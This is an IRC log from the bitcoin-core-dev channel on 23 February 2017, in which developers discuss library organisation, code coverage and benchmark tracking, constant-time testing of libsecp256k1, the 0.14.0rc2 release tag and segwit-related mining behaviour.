646 2017-02-23T19:55:18  <gmaxwell> from a code org perspective I don't see a problem with moving things like prevector, limitedmap into a utility function directory.. With just the understanding that many of those are used in consensus code too.
647 2017-02-23T19:55:32  <wumpus> not everything needs to be maintained as a library
648 2017-02-23T19:55:32  <jtimon> but since each dev seems to have a different idea of what a "complete libconsensus" should look like...
649 2017-02-23T19:56:04  <wumpus> gmaxwell: me neither
650 2017-02-23T19:56:07  <kallewoof> Compartmentalizing bitcoin into separate modules seemed like a plan but maybe not shared by everyone. If it is a shared plan restructuring file places seems important.
651 2017-02-23T19:56:08  <luke-jr> I don't mind it, but IMO more important to work toward more useful library splitting
652 2017-02-23T19:56:14  <sipa> gmaxwell: agree, some things are generic enough that they can be seen as extensions of the standard libraries
653 2017-02-23T19:56:42  <gmaxwell> sipa: e.g. someday libstdc++ could get something that generalizes prevector, if it did, we'd drop prevector and use that.
654 2017-02-23T19:56:59  <sipa> c++23
655 2017-02-23T19:57:03  <jonasschnelli> heh
656 2017-02-23T19:57:04  <gmaxwell> (well STL technically, I guess, point remains)
657 2017-02-23T19:57:32  <gmaxwell> sipa: C++23 will just integrate libconsensus of course.  template cryprocurrency.
658 2017-02-23T19:57:39  <wumpus> hehe
659 2017-02-23T19:57:42  <jeremyrubin> Well that's my point kinda
660 2017-02-23T19:57:52  <jnewbery> suggested topic: code coverage and benchmark tracking
661 2017-02-23T19:57:59  <jeremyrubin> the consensus things that aren't overly bitcoin-specific
662 2017-02-23T19:57:59  <gmaxwell> Except I was making it as a joke. :P
663 2017-02-23T19:58:01  <wumpus> jnewbery: next week
664 2017-02-23T19:58:11  <jeremyrubin> Facebook's folly lib is kinda like that
665 2017-02-23T19:58:13  <wumpus> the meeting is about to close
666 2017-02-23T19:58:22  <sipa> anyone have any last words?
667 2017-02-23T19:58:27  <gmaxwell> jnewbery: we can talk about about it after the meeting and discuss further next week. :)
668 2017-02-23T19:58:44  <jnewbery> gmaxwell: sounds good
669 2017-02-23T19:58:51  <wumpus> #endmeeting
670 2017-02-23T19:58:51  <lightningbot> Meeting ended Thu Feb 23 19:58:51 2017 UTC.  Information about MeetBot at http://wiki.debian.org/MeetBot . (v 0.1.4)
671 2017-02-23T19:58:51  <lightningbot> Minutes:        http://www.erisian.com.au/meetbot/bitcoin-core-dev/2017/bitcoin-core-dev.2017-02-23-19.00.html
672 2017-02-23T19:58:51  <lightningbot> Minutes (text): http://www.erisian.com.au/meetbot/bitcoin-core-dev/2017/bitcoin-core-dev.2017-02-23-19.00.txt
673 2017-02-23T19:58:51  <lightningbot> Log:            http://www.erisian.com.au/meetbot/bitcoin-core-dev/2017/bitcoin-core-dev.2017-02-23-19.00.log.html
674 2017-02-23T19:58:55  *** laurentmt has quit IRC
675 2017-02-23T19:59:03  <BlueMatt> ok, #topic code coverage and benchmark tracking
676 2017-02-23T19:59:20  <jeremyrubin> I wrote a benchdiff tool a while back
677 2017-02-23T19:59:22  <MarcoFalke> ACK on benchmark tracking
678 2017-02-23T19:59:27  <gmaxwell> jeremyrubin: the history of corporate soup libraries isn't really good, a lot of them just become abandoneware... and we have some many things to worry about that cooking up more libraries is really ... not the project's priority even if it would be good in an abstract sense.
679 2017-02-23T19:59:35  *** lclc_ has joined #bitcoin-core-dev
680 2017-02-23T19:59:59  <gmaxwell> In some cases like libsecp256k1 it can be strategic to build something for general use. But thats case by case.
681 2017-02-23T20:00:04  <wumpus> folly is unfocused
682 2017-02-23T20:00:16  <jnewbery> is anyone doing coverage? Anyone tried using coveralls or codecov or ... for tracking code coverage?
683 2017-02-23T20:00:18  <jeremyrubin> Sure, the point was not really about having it be a separate library
684 2017-02-23T20:00:25  <jeremyrubin> but for increasing testing
685 2017-02-23T20:00:29  <wumpus> 'random grabbag of data structures' libraries don't tend to be used a lot
686 2017-02-23T20:00:31  <kanzure> i thought it was already known that code coverage is low
687 2017-02-23T20:00:38  <gmaxwell> jnewbery: we have configure script setup for lcov. It works.
688 2017-02-23T20:00:41  <wumpus> even if the data structures in it are genius
689 2017-02-23T20:01:19  <luke-jr> wumpus: we'd use it
690 2017-02-23T20:01:24  <wumpus> jeremyrubin: the problem is that you also get lots of issues for unrelated uses
691 2017-02-23T20:01:25  <jnewbery> gmaxwell: it works is a good start. Which way does code coverage go over time?
692 2017-02-23T20:01:39  <gmaxwell> And our expirence from libsecp256k1 suggests that there has been relatively little project value from making it generally usable.  :(  basically many things that really should use it simply do not. And what does use it almost never reports interesting feedback or provides useful testing. :(
693 2017-02-23T20:01:40  <luke-jr> wumpus: if nothing else, libraries can reduce the binary download size by not duplicating the code between our 4 or 5 programs
694 2017-02-23T20:01:48  <kanzure> jnewbery: there's a lot of missing unit tests. they don't exist; go write them.
695 2017-02-23T20:01:55  <wumpus> jeremyrubin: right now the code only supports our use case, it doens't have to balloon to everyone's features and favorite other things
696 2017-02-23T20:01:57  <gmaxwell> jnewbery: it's been going up. well at least the 'rpc tests' improvements increased it considerably.
697 2017-02-23T20:02:01  <luke-jr> gmaxwell: some things which really should use it seem to?
698 2017-02-23T20:02:05  <cfields> kanzure: he has been :)
699 2017-02-23T20:02:12  *** lclc has quit IRC
700 2017-02-23T20:02:12  <kanzure> cfields: shows what i know
701 2017-02-23T20:02:19  <jnewbery> cfields: :)
702 2017-02-23T20:02:45  <wumpus> luke-jr:sure, internal libraries for organization without exposing them to the outside or making them official APIs
703 2017-02-23T20:02:51  <wumpus> luke-jr: we already have those
704 2017-02-23T20:03:05  <cfields> kanzure: you're right to point out that we're missing lots of coverage, ofc.
705 2017-02-23T20:03:13  <gmaxwell> luke-jr: e.g. the horrific python stuff is used much more commonly.. and various embedded devices reinvented the wheel creating big sidechannel vulnerablities along the way.
706 2017-02-23T20:03:15  <kanzure> cfields: prolly not a good excuse to not do constant coverage reports, hehe
707 2017-02-23T20:03:16  <wumpus> luke-jr: turn them to dlls and you could reduce download size a bit
708 2017-02-23T20:03:27  <cfields> heh
709 2017-02-23T20:03:32  <jnewbery> kanzure: I'd like to do more. Doing coverage once is good. Tracking it across releases is better
710 2017-02-23T20:03:42  <luke-jr> gmaxwell: eg JoinMarket seems to use it?
711 2017-02-23T20:03:52  <wumpus> luke-jr: not by much I think as most of the duplication will tend to get compressed out
712 2017-02-23T20:03:52  <luke-jr> or was it Electrum
713 2017-02-23T20:03:52  <jnewbery> I'd also like to have historic data about benchmarks
714 2017-02-23T20:03:52  <cfields> jnewbery: i'd be very curious to see if something like coveralls could be hooked up easily-ish
715 2017-02-23T20:03:58  *** jtimon has quit IRC
716 2017-02-23T20:04:04  <gmaxwell> jnewbery: ideally we'd be at a point where travis could fail builds that drop coverage too much, but the existing tests do not have high enough coverage reliably to make the workthwhile.
717 2017-02-23T20:04:13  <luke-jr> wumpus: IMO libconsensus will be more significant
718 2017-02-23T20:04:16  <jeremyrubin> Benchdiff tool is here: https://github.com/JeremyRubin/bitcoin/tree/benchdiff
719 2017-02-23T20:04:24  <gmaxwell> luke-jr: yes, after I nagged them to move off some crazily vulnerable python code that was found on the internet.
720 2017-02-23T20:04:31  <luke-jr> XD
721 2017-02-23T20:04:42  <gmaxwell> luke-jr: e.g. code they were using would accept the signature 0,0 as valid for any pubkey+message.
722 2017-02-23T20:04:48  <jnewbery> gmaxwell: I'm not aiming for ideal just yet. Just a general sense of which direction we're moving in
723 2017-02-23T20:05:08  <wumpus> comparing benchmarks would need a machine dedicated to just that
724 2017-02-23T20:05:49  <jnewbery> cfields: do you know if anyone has tried hooking up coveralls?
725 2017-02-23T20:05:50  <gmaxwell> wumpus: we could run benchmarks in a cpu simulator... at glacial speed but get consistent results. :P (this is actually reasonable to do for things like in the benchmark tool)
726 2017-02-23T20:05:50  <BlueMatt> benchmarks would have to happen on custom infrastructure, but coveralls or something would be nice
727 2017-02-23T20:05:53  <wumpus> comparing results from different machines or from VMs would be pointless
728 2017-02-23T20:06:02  <BlueMatt> if its easy to hook up (and doesnt require stupid shit like write permissions on your repo), i dont see why not?
729 2017-02-23T20:06:34  <cfields> jnewbery: not that i'm aware of. I think the gcov stuff on our side needs a bit of love first, I'd be happy to help out there.
730 2017-02-23T20:06:35  <wumpus> gmaxwell: ah yes a cycle correct simulator
731 2017-02-23T20:06:40  <gmaxwell> I've been trying to get a simulator restup for libsecp256k1, where we can use it to verify constant-timeness of the compiled result.
732 2017-02-23T20:07:17  <sipa> restup?
733 2017-02-23T20:07:18  <jnewbery> ok, I'll try to hook up coveralls on my repo before next week's meeting
734 2017-02-23T20:07:21  <gmaxwell> (I have the test working locally but haven't figured out how to automate it, will likely need to modify the simulator)
735 2017-02-23T20:07:26  <gmaxwell> sipa: setup.
736 2017-02-23T20:07:28  <jeremyrubin> diff
737 2017-02-23T20:07:31  <wumpus> riscv has a cycle-accurate simulator
738 2017-02-23T20:07:35  <jeremyrubin> crap sorry
739 2017-02-23T20:08:16  <gmaxwell> wumpus: yes, though it doesn't simulate dram so I found it wasn't good enough for my libsecp256k1 testing. :P there is a 'cycle accurate' simulator of abstract x86_64 which doesn't exactly match any particular cpu but it close enough.
740 2017-02-23T20:08:29  <Chris_Stewart_5> jnewbery: would love to see that on our repo
741 2017-02-23T20:08:32  <jeremyrubin> here's the POC of the move datastructures/utils to a separate dir btw https://github.com/JeremyRubin/bitcoin/tree/move-to-libraries (may need rebase)
742 2017-02-23T20:08:55  <gmaxwell> (I also tried the riscv one though before realizing it didn't do dram... it's crazy, it's a seperate compile target for the HDL)
743 2017-02-23T20:09:00  <wumpus> gmaxwell: I'll shut up, seems you did much more research into this :)
744 2017-02-23T20:09:22  <Chris_Stewart_5> jnewbery: I know isle2983 is interested in this as well -- not sure how much free time he has but might be worth collaborating
745 2017-02-23T20:09:22  <jeremyrubin> i only did a few things just as an example -- editing lots of files isn't super fun :p
746 2017-02-23T20:09:27  <gmaxwell> wumpus: well my research is mostly for a weird thing, trying to setup a CI test that catches the compiler undermining the constant time behavior of libsecp256k1's private key operations.
747 2017-02-23T20:10:11  <jnewbery> Chris_Stewart_5: thanks. I'll ping him
748 2017-02-23T20:10:27  <wumpus> in any case +1 for hooking up coveralls, seems like a small thing to do with potentially large payoff
749 2017-02-23T20:10:40  <Chris_Stewart_5> wumpus: strongly agree.
750 2017-02-23T20:11:03  <jeremyrubin> gmaxwell: isn't that pretty tough to do given modern pipelining?
751 2017-02-23T20:12:30  <wumpus> gmaxwell: that HDL tool is pretty neat in itself, allowing generating customized riscv cores on demand, but yes using it to generate c++ seems a bit crazy
752 2017-02-23T20:13:43  <wumpus> jeremyrubin: and don't forget branch prediction
753 2017-02-23T20:14:16  <jeremyrubin> wumpus: that's a part of the pipeline
754 2017-02-23T20:14:33  <gmaxwell> jeremyrubin: libsecp256k1 private key operations are constant time on current intel cpus. It was not that hard. The code just has to be completely free of data dependant branches, data dependant memory accesses, etc.
755 2017-02-23T20:15:36  <gmaxwell> for example, sha256's compression function is a function that is naturally constant time, even a trivial implementation gets that right.
756 2017-02-23T20:15:42  <gmaxwell> Just write all your code to look like that. :P
757 2017-02-23T20:16:10  <gmaxwell> Though the compiler could still screw you over if it gets too smart, which is why I want ci support for testing it.
758 2017-02-23T20:17:12  <bitcoin-git> [bitcoin] jnewbery opened pull request #9842: Fix RPC failure testing (continuation of #9707) (master...rpctestassert2) https://github.com/bitcoin/bitcoin/pull/9842
759 2017-02-23T20:18:23  <MarcoFalke> BlueMatt: Is coveralls the thing that spams a comment on every pull request?
760 2017-02-23T20:18:34  <BlueMatt> MarcoFalke: I sure hope not?
761 2017-02-23T20:18:45  <wumpus> I don't think that's necessary
762 2017-02-23T20:18:49  <BlueMatt> I'd hope it can integrate with github's ci status thing
763 2017-02-23T20:18:50  <wumpus> it can integrate into github
764 2017-02-23T20:19:38  <MarcoFalke> Sound good when this is possible.
765 2017-02-23T20:19:59  <MarcoFalke> re: test_bitcoin failures
766 2017-02-23T20:20:07  <MarcoFalke> It is an uninitialized read
767 2017-02-23T20:20:20  <MarcoFalke> because g_conman is not set up in the unit tests, I assume
768 2017-02-23T20:20:30  <MarcoFalke> *g_connman
769 2017-02-23T20:23:43  <wumpus> MarcoFalke: mh that could be it
770 2017-02-23T20:24:22  <gmaxwell> perhaps someday bitcoin core can have coverage like: https://people.xiph.org/~greg/libsecp256k1-coverage/src/index.html
771 2017-02-23T20:25:15  <wumpus> could you add it? :)
772 2017-02-23T20:26:05  <wumpus> that's pretty similar to coveralls output
773 2017-02-23T20:26:12  <Chris_Stewart_5> MarcoFalke: I think coverall is what you are thinking of wrt comments on pull requests, see: https://github.com/bitcoin-s/bitcoin-s-core/pull/60
774 2017-02-23T20:26:23  <BlueMatt> wumpus: I think he meant the mostly-100% coverage indicators there :p
775 2017-02-23T20:26:28  <Chris_Stewart_5> not sure if it is configurable or not, honestly haven't played with it too much
776 2017-02-23T20:26:44  <wumpus> BlueMatt: oh okay
777 2017-02-23T20:26:58  <Chris_Stewart_5> but I think it is extremely helpful for beginners to figure out where to contribute too
778 2017-02-23T20:26:58  <MarcoFalke> Chris_Stewart_5: Yes, this is terrible
779 2017-02-23T20:26:58  <jeremyrubin> Can implement the trump policy: every line of new code must test 2 other lines of code
780 2017-02-23T20:27:20  <BlueMatt> jeremyrubin: do we, then, need to test tests?
781 2017-02-23T20:27:36  <gmaxwell> the code is the test of the tests.
782 2017-02-23T20:27:44  <gmaxwell> go break the code, tests should fail.
783 2017-02-23T20:27:54  <BlueMatt> gmaxwell: yes, we should have test harnesses for that :P
784 2017-02-23T20:28:18  <gmaxwell> I still have not found any good tools for C.  I have something that belongs in a lovecraftian horror novel...
785 2017-02-23T20:28:39  <jeremyrubin> can we get rid of the code
786 2017-02-23T20:28:48  <jeremyrubin> and just gen it from tests
787 2017-02-23T20:29:05  <wumpus> mauling the source code in unspeakable ways to make tests fail
788 2017-02-23T20:29:13  <jnewbery> gmaxwell: that report is a beautiful thing. So much green
789 2017-02-23T20:29:17  <gmaxwell> (A script that systemtatically makes 1 byte changes to the source code, then sees if it compiles, and if it does checks if the stripped binary matches the original, and skips it.. and otherwise checks if tests fail....)
790 2017-02-23T20:29:36  <BlueMatt> gmaxwell: yea..........
791 2017-02-23T20:29:55  <gmaxwell> jnewbery: it's actually better than the report shows.. that report is only with running the tests at the defaults, they get a bit more coverage when cranked up.
792 2017-02-23T20:35:03  <jeremyrubin> Is there any coverage tools that let you see if you execute a branch with multiple values?
793 2017-02-23T20:35:17  <jeremyrubin> E.g., doing concolic execution of some kind would be cool
794 2017-02-23T20:35:31  <jeremyrubin> klee?
795 2017-02-23T20:38:39  *** jtimon has joined #bitcoin-core-dev
796 2017-02-23T20:40:13  <bitcoin-git> [bitcoin] laanwj pushed 1 new commit to 0.14: https://github.com/bitcoin/bitcoin/commit/3b2f7fdcaea36c8c5c93b21030d4e2327d2b6e8c
797 2017-02-23T20:40:14  <bitcoin-git> bitcoin/0.14 3b2f7fd Wladimir J. van der Laan: doc: Add authors and changes since rc1 to release notes
798 2017-02-23T20:41:53  <wumpus>  * [new tag]         v0.14.0rc2 -> v0.14.0rc2
799 2017-02-23T20:42:08  <BlueMatt> hey-o
800 2017-02-23T20:42:32  <achow101> yay
801 2017-02-23T20:42:56  <sipa>     wee
802 2017-02-23T20:43:19  <achow101> I hope gitian works this time (but it probably won't)
803 2017-02-23T20:43:53  <wumpus> well there were no changes to gitian since 0.14.0rc1, so if it didn't work for you it probably still won't
804 2017-02-23T20:44:08  <wumpus> but you can try
805 2017-02-23T20:44:19  <sipa> gmaxwell: it looks like the sha1 collision that google produced took 2^63 sha invocations
806 2017-02-23T20:44:41  <cfields> damn, just pushed release notes spelling fix :(
807 2017-02-23T20:45:00  <wumpus> cfields: there's no hurry ,release notes changes can go in until final
808 2017-02-23T20:45:10  * luke-jr tries his gitian automation script again :p
809 2017-02-23T20:45:18  <wumpus> and between the last rc and final
810 2017-02-23T20:45:33  <cfields> ok
811 2017-02-23T20:47:34  *** lclc has joined #bitcoin-core-dev
812 2017-02-23T20:47:51  <bitcoin-git> [bitcoin] laanwj pushed 2 new commits to 0.14: https://github.com/bitcoin/bitcoin/compare/3b2f7fdcaea3...f00429666c60
813 2017-02-23T20:47:52  <bitcoin-git> bitcoin/0.14 95e68df Cory Fields: release: add a few performance-related notes
814 2017-02-23T20:47:52  <cfields> I'm doing a vanilla, all defaults, public p2p sync of 0.13/0.14 nodes on ec2 with 4cores/16gb ram. I think that's a common enough use-case. If anyone would like to bench under different conditions, please go for it
815 2017-02-23T20:47:52  <bitcoin-git> bitcoin/0.14 f004296 Wladimir J. van der Laan: Merge #9787: release: add a few performance-related notes...
816 2017-02-23T20:49:00  *** lclc_ has quit IRC
817 2017-02-23T20:50:26  <wumpus> cfields: at least it's kind of standardized
818 2017-02-23T20:50:55  <achow101> cfields: I think 8gb ram is a more likely scenario
819 2017-02-23T20:51:38  <luke-jr> note 32-bit builds can't use much RAM, but I don't think we care so much about that
820 2017-02-23T20:54:41  <wumpus> let's not start arguing his choice of benchmark machine
821 2017-02-23T20:54:59  <wumpus> if you want to benchmark on something else, go ahead
822 2017-02-23T20:58:14  *** lclc has quit IRC
823 2017-02-23T20:59:11  *** lclc has joined #bitcoin-core-dev
824 2017-02-23T21:06:35  *** pavel_ has joined #bitcoin-core-dev
825 2017-02-23T21:08:46  *** lclc has quit IRC
826 2017-02-23T21:09:04  *** paveljanik has quit IRC
827 2017-02-23T21:25:15  <achow101> woohoo! First again! (but there's probably an issue with osx)
828 2017-02-23T21:47:02  *** jtimon has quit IRC
829 2017-02-23T21:47:52  *** jtimon has joined #bitcoin-core-dev
830 2017-02-23T21:49:50  <jtimon> re style, I wish I could uncomment ;; (add-hook 'before-save-hook 'delete-trailing-whitespace)
831 2017-02-23T22:05:21  *** Madars has quit IRC
832 2017-02-23T22:13:09  *** Madars has joined #bitcoin-core-dev
833 2017-02-23T22:20:12  *** rndguy has quit IRC
834 2017-02-23T22:22:43  <bitcoin-git> [bitcoin] jnewbery opened pull request #9843: Fix segwit getblocktemplate test (master...fixsegwitgetblocktemplate) https://github.com/bitcoin/bitcoin/pull/9843
835 2017-02-23T22:26:05  <gmaxwell> I think we should not have that behavior. We should not make mining catch fire when segwit activates.
836 2017-02-23T22:33:29  <luke-jr> gmaxwell: in other words, we should support non-segwit mining after it activates?
837 2017-02-23T22:33:56  <luke-jr> (that'd be somewhat non-trivial FWIW)
838 2017-02-23T22:34:14  *** Guyver2 has quit IRC
839 2017-02-23T22:34:59  *** marcoagner has joined #bitcoin-core-dev
840 2017-02-23T22:35:28  <luke-jr> basically we'd need to teach CreateNewBlock to filter out segwit txs, and then do some magic with GBT caching
841 2017-02-23T22:38:00  <luke-jr> IIRC last time it was discussed, the conclusion was to not support it; I forget where that convo was tho
842 2017-02-23T22:44:46  *** MarcoFalke has quit IRC
843 2017-02-23T22:44:56  *** MarcoFalke has joined #bitcoin-core-dev
844 2017-02-23T22:47:19  *** jtimon has quit IRC
845 2017-02-23T22:50:14  *** jnewbery has quit IRC
846 2017-02-23T22:50:37  *** goksinen has quit IRC
847 2017-02-23T22:54:46  *** jtimon has joined #bitcoin-core-dev
848 2017-02-23T22:57:43  <cfields> achow101: no match :(
849 2017-02-23T23:02:40  <achow101> cfields: on osx? again?
850 2017-02-23T23:02:52  <cfields> achow101: yep :(
851 2017-02-23T23:02:55  <cfields> still building the rest
852 2017-02-23T23:03:16  <achow101> *sigh* it's still a problem
853 2017-02-23T23:05:08  <achow101> I'll see if it does the alternating thing like last time
854 2017-02-23T23:11:04  *** goksinen has joined #bitcoin-core-dev
855 2017-02-23T23:13:04  *** e4xit has joined #bitcoin-core-dev
856 2017-02-23T23:15:57  *** goksinen has quit IRC
857 2017-02-23T23:18:19  <gmaxwell> luke-jr: yes, we should.
858 2017-02-23T23:18:38  <gmaxwell> luke-jr: the only harm is you won't include segwit transactions... and we can whine at miners later to fix themselves.
859 2017-02-23T23:18:45  <gmaxwell> better to have some segwit txn rather than none.
860 2017-02-23T23:19:02  <gmaxwell> We should also set the version bit, even if you're not sending the flag.
861 2017-02-23T23:19:36  *** goksinen has joined #bitcoin-core-dev
862 2017-02-23T23:20:13  *** goksinen has joined #bitcoin-core-dev
863 2017-02-23T23:25:59  <bitcoin-git> [bitcoin] jtimon opened pull request #9845: RPC: cleanups in rpc/server (master...0.15-extern-rpc-server) https://github.com/bitcoin/bitcoin/pull/9845
864 2017-02-23T23:26:26  <jtimon> jonasschnelli: am I missing something about the wallet in ^^, I hope not
865 2017-02-23T23:40:51  *** AaronvanW has quit IRC
866 2017-02-23T23:55:12  *** neha has quit IRC
867 2017-02-23T23:55:35  *** fanquake has joined #bitcoin-core-dev
868 2017-02-23T23:56:37  <fanquake> Speaking of benchmarking, can anyone tell me on "average" how much slower reindexing is compared to sync?
869 2017-02-23T23:56:42  *** neha has joined #bitcoin-core-dev
870 2017-02-23T23:57:27  <fanquake> Ive managed to get qt reindexing at ~3%/hr, which seems very slow. This machine has performed a -reindex-chainstate in <3 hrs before.
871 2017-02-23T23:57:58  <fanquake> * less than 3 hrs
872 2017-02-23T23:58:56  *** vicenteH has quit IRC
873 2017-02-23T23:59:22  <sipa> fanquake: reindex-chainstate should be strictly faster than sync